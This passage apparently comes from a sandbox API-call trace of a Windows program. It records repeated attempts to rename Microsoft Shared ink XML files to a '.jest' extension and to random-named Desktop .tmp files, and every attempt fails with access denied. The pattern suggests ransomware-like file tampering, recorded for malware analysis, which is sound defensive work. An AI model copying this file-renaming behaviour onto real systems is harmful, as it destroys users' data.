HALPmcxz\\Desktop\\glQg-y30Zcdmun_9odC-5iXgPT82sbkrYA9KSRCqVvTV_pmn4wW0P3rHksBbVHMd6oU3KMbRsp5LXEsEXbC98B_S-MHAjg4cjeshe.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\glqg-y30zcdmun_9odc-5ixgpt82sbkrya9ksrcqvvtv_pmn4ww0p3rhksbbvhmd6ou3kmbrsp5lxesexbc98b_s-mhajg4cjeshe.tmp")) returned 0 [0145.422] GetLastError () returned 0x5 [0145.422] GetLastError () returned 0x5 [0145.422] SetLastError (dwErrCode=0x5) [0145.422] GetLastError () returned 0x5 [0145.422] SetLastError (dwErrCode=0x5) [0145.422] GetLastError () returned 0x5 [0145.422] SetLastError (dwErrCode=0x5) [0145.422] GetFullPathNameA (in: lpFileName="glQg-y30Zcdmun_9odC-5iXgPT82sbkrYA9KSRCqVvTV_pmn4wW0P3rHksBbVHMd6oU3KMbRsp5LXEsEXbC98B_S-MHAjg4cjeshe.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\glQg-y30Zcdmun_9odC-5iXgPT82sbkrYA9KSRCqVvTV_pmn4wW0P3rHksBbVHMd6oU3KMbRsp5LXEsEXbC98B_S-MHAjg4cjeshe.tmp", lpFilePart=0x18e6e4*="glQg-y30Zcdmun_9odC-5iXgPT82sbkrYA9KSRCqVvTV_pmn4wW0P3rHksBbVHMd6oU3KMbRsp5LXEsEXbC98B_S-MHAjg4cjeshe.tmp") returned 0x8f [0145.422] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\glQg-y30Zcdmun_9odC-5iXgPT82sbkrYA9KSRCqVvTV_pmn4wW0P3rHksBbVHMd6oU3KMbRsp5LXEsEXbC98B_S-MHAjg4cjeshe.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x67516c67, cFileName="-y30Zcdmun_9odC-5iXgPT82sbkrYA9KSRCqVvTV_pmn4wW0P3rHksBbVHMd6oU3KMbRsp5LXEsEXbC98B_S-MHAjg4cjeshe.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0145.422] GetLastError () returned 0x2 [0145.422] GetLastError () returned 0x2 [0145.422] SetLastError (dwErrCode=0x2) [0145.423] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.423] CoFreeUnusedLibraries () [0145.423] GetTickCount () returned 0x11562d9 [0145.423] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.423] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.423] GetTickCount () returned 0x11562d9 [0145.423] IsWindowVisible (hWnd=0x30268) returned 0 [0145.423] Sleep (dwMilliseconds=0x0) [0145.424] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.jest")) returned 0 [0145.425] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml", lpFilePart=0x18e6d8*="ipsen.xml") returned 0x3c [0145.425] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x57, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 0x143ce48 [0145.425] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0145.425] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14f55bc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0145.425] VarBstrFromR4 (in: fltIn=0x47944d98, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75931.19") returned 0x0 [0145.426] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0145.426] CoFreeUnusedLibraries () [0145.426] GetTickCount () returned 0x11562d9 [0145.426] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.426] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.426] GetTickCount () returned 0x11562d9 [0145.426] IsWindowVisible (hWnd=0x30268) returned 0 [0145.426] Sleep (dwMilliseconds=0x0) [0145.427] GetFullPathNameA (in: lpFileName="wSfTc6b onw5qymiawIUsnqmIsi7_kEZW9GONx-tCn8H_ILgv-dm1vsA_hS55vrEBdNg6YOvLrJL HpTAloBk6MCIV7wa7Aowyp27.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wSfTc6b onw5qymiawIUsnqmIsi7_kEZW9GONx-tCn8H_ILgv-dm1vsA_hS55vrEBdNg6YOvLrJL HpTAloBk6MCIV7wa7Aowyp27.tmp", lpFilePart=0x18e708*="wSfTc6b onw5qymiawIUsnqmIsi7_kEZW9GONx-tCn8H_ILgv-dm1vsA_hS55vrEBdNg6YOvLrJL HpTAloBk6MCIV7wa7Aowyp27.tmp") returned 0x8f [0145.428] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml", lpFilePart=0x18e708*="ipsen.xml") returned 0x3c [0145.428] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wSfTc6b onw5qymiawIUsnqmIsi7_kEZW9GONx-tCn8H_ILgv-dm1vsA_hS55vrEBdNg6YOvLrJL HpTAloBk6MCIV7wa7Aowyp27.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wsftc6b onw5qymiawiusnqmisi7_kezw9gonx-tcn8h_ilgv-dm1vsa_hs55vrebdng6yovlrjl hptalobk6mciv7wa7aowyp27.tmp")) returned 0 [0145.428] GetLastError () returned 0x5 [0145.428] GetLastError () returned 0x5 [0145.428] SetLastError (dwErrCode=0x5) [0145.428] GetLastError () returned 0x5 [0145.428] SetLastError (dwErrCode=0x5) [0145.428] GetLastError () returned 0x5 [0145.428] SetLastError (dwErrCode=0x5) [0145.428] GetFullPathNameA (in: lpFileName="wSfTc6b onw5qymiawIUsnqmIsi7_kEZW9GONx-tCn8H_ILgv-dm1vsA_hS55vrEBdNg6YOvLrJL HpTAloBk6MCIV7wa7Aowyp27.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wSfTc6b onw5qymiawIUsnqmIsi7_kEZW9GONx-tCn8H_ILgv-dm1vsA_hS55vrEBdNg6YOvLrJL HpTAloBk6MCIV7wa7Aowyp27.tmp", lpFilePart=0x18e6e4*="wSfTc6b onw5qymiawIUsnqmIsi7_kEZW9GONx-tCn8H_ILgv-dm1vsA_hS55vrEBdNg6YOvLrJL HpTAloBk6MCIV7wa7Aowyp27.tmp") returned 0x8f [0145.428] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wSfTc6b onw5qymiawIUsnqmIsi7_kEZW9GONx-tCn8H_ILgv-dm1vsA_hS55vrEBdNg6YOvLrJL HpTAloBk6MCIV7wa7Aowyp27.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x54665377, cFileName="c6b onw5qymiawIUsnqmIsi7_kEZW9GONx-tCn8H_ILgv-dm1vsA_hS55vrEBdNg6YOvLrJL HpTAloBk6MCIV7wa7Aowyp27.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0145.429] GetLastError () returned 0x2 [0145.429] GetLastError () returned 0x2 [0145.429] SetLastError (dwErrCode=0x2) [0145.429] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.429] CoFreeUnusedLibraries () [0145.429] GetTickCount () returned 0x11562d9 [0145.429] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.429] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.429] GetTickCount () returned 0x11562d9 [0145.429] IsWindowVisible (hWnd=0x30268) returned 0 [0145.429] Sleep (dwMilliseconds=0x0) [0145.431] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.jest")) returned 0 [0145.432] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml", lpFilePart=0x18e6d8*="ipsesp.xml") returned 0x3d [0145.432] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x57, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 0x143ce48 [0145.432] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0145.432] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0145.432] VarBstrFromR4 (in: fltIn=0x47944d9a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75931.2") returned 0x0 [0145.433] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0145.433] CoFreeUnusedLibraries () [0145.433] GetTickCount () returned 0x11562e8 [0145.433] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.433] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.433] GetTickCount () returned 0x11562e8 [0145.433] IsWindowVisible (hWnd=0x30268) returned 0 [0145.433] Sleep (dwMilliseconds=0x0) [0145.435] GetFullPathNameA (in: lpFileName="4w3QBLVKIDIo-aZiy6__0hBB-TRIXw46KMEwWvs33c3T6jH8RG S5lUS26VRSD b_nOwp6ZGOL1XEXGfUW3lWs9rMbt1Ffruu8MIC.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4w3QBLVKIDIo-aZiy6__0hBB-TRIXw46KMEwWvs33c3T6jH8RG S5lUS26VRSD b_nOwp6ZGOL1XEXGfUW3lWs9rMbt1Ffruu8MIC.tmp", lpFilePart=0x18e708*="4w3QBLVKIDIo-aZiy6__0hBB-TRIXw46KMEwWvs33c3T6jH8RG S5lUS26VRSD b_nOwp6ZGOL1XEXGfUW3lWs9rMbt1Ffruu8MIC.tmp") returned 0x8f [0145.435] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml", lpFilePart=0x18e708*="ipsesp.xml") returned 0x3d [0145.435] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4w3QBLVKIDIo-aZiy6__0hBB-TRIXw46KMEwWvs33c3T6jH8RG S5lUS26VRSD b_nOwp6ZGOL1XEXGfUW3lWs9rMbt1Ffruu8MIC.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4w3qblvkidio-aziy6__0hbb-trixw46kmewwvs33c3t6jh8rg s5lus26vrsd b_nowp6zgol1xexgfuw3lws9rmbt1ffruu8mic.tmp")) returned 0 [0145.436] GetLastError () returned 0x5 [0145.436] GetLastError () returned 0x5 [0145.436] SetLastError (dwErrCode=0x5) [0145.436] GetLastError () returned 0x5 [0145.436] SetLastError (dwErrCode=0x5) [0145.436] GetLastError () returned 0x5 [0145.436] SetLastError (dwErrCode=0x5) [0145.436] GetFullPathNameA (in: lpFileName="4w3QBLVKIDIo-aZiy6__0hBB-TRIXw46KMEwWvs33c3T6jH8RG S5lUS26VRSD b_nOwp6ZGOL1XEXGfUW3lWs9rMbt1Ffruu8MIC.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4w3QBLVKIDIo-aZiy6__0hBB-TRIXw46KMEwWvs33c3T6jH8RG S5lUS26VRSD b_nOwp6ZGOL1XEXGfUW3lWs9rMbt1Ffruu8MIC.tmp", lpFilePart=0x18e6e4*="4w3QBLVKIDIo-aZiy6__0hBB-TRIXw46KMEwWvs33c3T6jH8RG S5lUS26VRSD b_nOwp6ZGOL1XEXGfUW3lWs9rMbt1Ffruu8MIC.tmp") returned 0x8f [0145.436] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4w3QBLVKIDIo-aZiy6__0hBB-TRIXw46KMEwWvs33c3T6jH8RG S5lUS26VRSD b_nOwp6ZGOL1XEXGfUW3lWs9rMbt1Ffruu8MIC.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x51337734, cFileName="BLVKIDIo-aZiy6__0hBB-TRIXw46KMEwWvs33c3T6jH8RG S5lUS26VRSD b_nOwp6ZGOL1XEXGfUW3lWs9rMbt1Ffruu8MIC.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0145.436] GetLastError () returned 0x2 [0145.436] GetLastError () returned 0x2 [0145.436] SetLastError (dwErrCode=0x2) [0145.437] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.437] CoFreeUnusedLibraries () [0145.437] GetTickCount () returned 0x11562e8 [0145.437] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.437] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.437] GetTickCount () returned 0x11562e8 [0145.437] IsWindowVisible (hWnd=0x30268) returned 0 [0145.437] Sleep (dwMilliseconds=0x0) [0145.440] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.jest")) returned 0 [0145.440] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml", lpFilePart=0x18e6d8*="ipsfin.xml") returned 0x3d [0145.440] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x57, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 0x143ce48 [0145.440] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0145.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436ab4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0145.441] VarBstrFromR4 (in: fltIn=0x47944d9a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75931.2") returned 0x0 [0145.441] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0145.441] CoFreeUnusedLibraries () [0145.441] GetTickCount () returned 0x11562e8 [0145.441] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.441] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.441] GetTickCount () returned 0x11562e8 [0145.441] IsWindowVisible (hWnd=0x30268) returned 0 [0145.441] Sleep (dwMilliseconds=0x0) [0145.442] GetFullPathNameA (in: lpFileName="Y7P61L5F3D l57nLne_km2G-Oz2vBrecylLbv9qFOmoDcOvuwX05eFZP4jy0D3iG5U4VrIMtW90Qog868v6tbvdgnd2RyidrcS.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Y7P61L5F3D l57nLne_km2G-Oz2vBrecylLbv9qFOmoDcOvuwX05eFZP4jy0D3iG5U4VrIMtW90Qog868v6tbvdgnd2RyidrcS.tmp", lpFilePart=0x18e708*="Y7P61L5F3D l57nLne_km2G-Oz2vBrecylLbv9qFOmoDcOvuwX05eFZP4jy0D3iG5U4VrIMtW90Qog868v6tbvdgnd2RyidrcS.tmp") returned 0x8c [0145.443] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml", lpFilePart=0x18e708*="ipsfin.xml") returned 0x3d [0145.443] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Y7P61L5F3D l57nLne_km2G-Oz2vBrecylLbv9qFOmoDcOvuwX05eFZP4jy0D3iG5U4VrIMtW90Qog868v6tbvdgnd2RyidrcS.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y7p61l5f3d l57nlne_km2g-oz2vbrecyllbv9qfomodcovuwx05efzp4jy0d3ig5u4vrimtw90qog868v6tbvdgnd2ryidrcs.tmp")) returned 0 [0145.443] GetLastError () returned 0x5 [0145.443] GetLastError () returned 0x5 [0145.443] SetLastError (dwErrCode=0x5) [0145.443] GetLastError () returned 0x5 [0145.443] SetLastError (dwErrCode=0x5) [0145.443] GetLastError () returned 0x5 [0145.443] SetLastError (dwErrCode=0x5) [0145.443] GetFullPathNameA (in: lpFileName="Y7P61L5F3D l57nLne_km2G-Oz2vBrecylLbv9qFOmoDcOvuwX05eFZP4jy0D3iG5U4VrIMtW90Qog868v6tbvdgnd2RyidrcS.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Y7P61L5F3D l57nLne_km2G-Oz2vBrecylLbv9qFOmoDcOvuwX05eFZP4jy0D3iG5U4VrIMtW90Qog868v6tbvdgnd2RyidrcS.tmp", lpFilePart=0x18e6e4*="Y7P61L5F3D l57nLne_km2G-Oz2vBrecylLbv9qFOmoDcOvuwX05eFZP4jy0D3iG5U4VrIMtW90Qog868v6tbvdgnd2RyidrcS.tmp") returned 0x8c [0145.443] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Y7P61L5F3D l57nLne_km2G-Oz2vBrecylLbv9qFOmoDcOvuwX05eFZP4jy0D3iG5U4VrIMtW90Qog868v6tbvdgnd2RyidrcS.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x36503759, cFileName="1L5F3D l57nLne_km2G-Oz2vBrecylLbv9qFOmoDcOvuwX05eFZP4jy0D3iG5U4VrIMtW90Qog868v6tbvdgnd2RyidrcS.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0145.444] GetLastError () returned 0x2 [0145.444] GetLastError () returned 0x2 [0145.444] SetLastError (dwErrCode=0x2) [0145.444] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.444] CoFreeUnusedLibraries () [0145.444] GetTickCount () returned 0x11562e8 [0145.444] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.444] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.444] GetTickCount () returned 0x11562e8 [0145.444] IsWindowVisible (hWnd=0x30268) returned 0 [0145.444] Sleep (dwMilliseconds=0x0) [0145.455] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.jest")) returned 0 [0145.455] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml", lpFilePart=0x18e6d8*="ipsfra.xml") returned 0x3d [0145.455] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x57, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 0x143ce48 [0145.455] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0145.455] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0145.456] VarBstrFromR4 (in: fltIn=0x47944d9c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75931.22") returned 0x0 [0145.456] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0145.456] CoFreeUnusedLibraries () [0145.456] GetTickCount () returned 0x11562f8 [0145.456] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.456] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.456] GetTickCount () returned 0x11562f8 [0145.456] IsWindowVisible (hWnd=0x30268) returned 0 [0145.456] Sleep (dwMilliseconds=0x0) [0145.458] GetFullPathNameA (in: lpFileName="fSuTRNZd8pco62gftXs2iZzeHLKYc33tqRqYZhTzuBNRc53dCkL8thQUTz_lErY1J4-cI 1aO6dPqR_Zr3ESHDvPPJz-hGEBv3xvs.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fSuTRNZd8pco62gftXs2iZzeHLKYc33tqRqYZhTzuBNRc53dCkL8thQUTz_lErY1J4-cI 1aO6dPqR_Zr3ESHDvPPJz-hGEBv3xvs.tmp", lpFilePart=0x18e708*="fSuTRNZd8pco62gftXs2iZzeHLKYc33tqRqYZhTzuBNRc53dCkL8thQUTz_lErY1J4-cI 